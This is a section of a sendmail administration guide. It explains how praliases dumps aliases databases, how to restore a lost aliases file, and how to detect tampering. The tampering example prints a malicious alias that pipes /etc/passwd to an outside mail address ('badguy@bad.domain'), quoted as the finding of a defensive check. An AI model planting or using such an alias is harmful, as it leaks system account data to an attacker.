5.6 The praliases Program
The praliases program allows you to view the
contents of the aliases database after it is
built. The advantage of using praliases (rather
than makemap -u) is that
praliases reads the
sendmail configuration file to find the location
and type of the aliases database. As a bonus,
praliases prints the contents of all
aliases databases. For example, consider a part
of your mc configuration file that looks like
this:
define(`ALIAS_FILE', `hash:/etc/mail/aliases/users,btree:/etc/mail/aliases/clients')
Here, the /etc/mail/aliases/users.db file will
be created by newaliases as a
hash-type database, and the file
/etc/mail/aliases/clients.db will be created as
a btree-type database. If you ran
praliases on this setup, it would first print
all the aliases in the first file, followed by all the aliases in the
second file, correctly detecting the type for each.
The praliases program reads the
sendmail.cf file to find the location and types
of aliases files. A command-line switch allows
you to point to a different configuration file. Another allows you to
specify a particular aliases database file.
Those switches are outlined in Table 5-7, and
explained in the sections that follow.
Table 5-7. praliases command-line switches
-C
|
-C
|
Use an alternative configuration file
|
-f
|
-f
|
Specify another name for the aliases file
|
The output produced by praliases is different
from that produced by makemap -u. The
praliases program lists the key on the left and
data for that key on the right, separated by a colon. Unlike
makemap, it does not insert a tab character
between the colon and the data:
% praliases
@:@
mailer-daemon:postmaster
sys:root
bin:root
...
Note that when praliases prints the
aliases database, it includes the special
@:@ entry found in every
aliases file. You might have to strip this
entry, depending on how you wish to use the output.
5.6.1 Some Examples of Using praliases
One handy application for praliases is to
recover your original source text file when it disappears. If, for
example, your /etc/mail/aliases file is
accidently removed, but your database remains intact as
/etc/mail/aliases.db, you can regenerate a new
source file with commands such as this one:
# cd /etc/mail
# praliases | sed -e '/^@:@$/d' > aliases
# newaliases
Naturally, such a recovery should never be necessary if your machine
is properly backed up, and if you keep your source files under some
form of revision control, such as rcs(1).
Another handy application of praliases is to see
if someone has slipped something into your
aliases database that was not in the original
file. Consider the following steps and the result they reveal:
# cd /etc/mail
# praliases | sed -e '/^@:@$/d'| sort > /tmp/a
# makemap hash /tmp/aliases < aliases
# praliases -f /tmp/aliases | sort > /tmp/b
# diff /tmp/a /tmp/b
42d38
> pw:"|cat /etc/passwd|/usr/ucb/mail badguy@bad.domain && exit 0"
Here, we first dump the aliases database and
save a copy in /tmp/a. Then we create a database
from the aliases source file using
makemap instead of
newaliases and dump that database with
makemap into /tmp/b. A
diff reveals that someone has added an entry to
the aliases database that did not exist in the
aliases source file. That entry is an attempt to
steal the system /etc/passwd file whenever the
badguy likes.
|